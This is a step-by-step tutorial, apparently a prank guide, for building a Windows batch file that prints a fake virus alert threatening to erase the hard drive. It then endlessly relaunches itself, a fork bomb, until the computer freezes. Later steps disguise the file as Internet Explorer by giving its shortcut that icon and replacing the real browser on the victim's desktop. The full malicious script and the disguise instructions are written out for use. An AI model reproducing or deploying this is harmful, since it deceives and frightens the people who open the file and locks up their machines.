1)
Go Start and open up a basic text document. I like to use notepad because it is
quick to load and easy to use.
2) In your text document cut and paste this:
@echo off
echo WARNING VIRUS HAS BEEN DETECTED
echo System check
echo -
echo Power - FAILED
echo -
echo RAM - FAILED
echo -
echo Norton - FAILED
echo -
echo Breach of IP adress
echo -
echo Firewall - FAILED
echo -
echo Virus attaining: ****-****-****-8894
echo -
echo Hard drive must be erased and rebooted to resume windows.
echo -
PAUSE
echo -
echo Starting to reboot hardrive.
echo -
echo Do not attempt to quit.
echo -
echo Restart after 10 minutes approximately.
PAUSE
:START
start Internet Explorer.bat
GOTO START
3) Now click "File" then "Save as..." then save it as
"Internet Explorer.BAT" onto the Desktop
I will explain to you what each of these symbols mean.
@echo off : This tells the file to hide what its doing and display
what we tell it to.
echo : This tells the file to display something. It displays
whatever you write after it.
PAUSE : This is what makes that sign come up that says "Press
any key to continue" which literally pauses the file.
:START
start a.bat
GOTO START : This tells the computer to run the file over and over and
over again without stopping which causes the computer to freeze since it gets
opened so much.
Step 2: Creating a Shortcut
4)
Now place this file into "My Documents" to keep it hidden.
5) Once it is in "My Documents" right click it and click "Create
Shortcut"
Step 3: Saving, Changing, and Executing
6)
Once you have created to shortcut go to it and right click it to open the menu
and click on "Properties"
7) This will open up a window. At the top of this window are tabs. Click on the
"Shortcut" tab.
8) Now click on at the bottom of the window a button that says "Change
Icon"
9) This will open another window. Scroll all the way to your left to find a
picture that closely resembles the Internet Explorer icon. Click it and press
"OK"
10) Now with the property window still up click on the "Options" tab.
In this tab you will find a section that says "Display Options". Now
click the circle labeled "Full screen".
11) At the bottom of the "Properties" window click "Apply".
12) Now move your file to the desktop and edit it to delete the "shortcut
to" on the name of the file. After that take the current Internet Explorer
and move it to "My Documents". If a warning label shows click yes.
P.S. To "deactivate" it just restart the computer. Mind you every
time you click it you will have to restart it again so delete it after your
first use. P.S.
Footnote: If you can't find the original Internet Explorer you can replace it
by going into program files and dragging it to the desktop
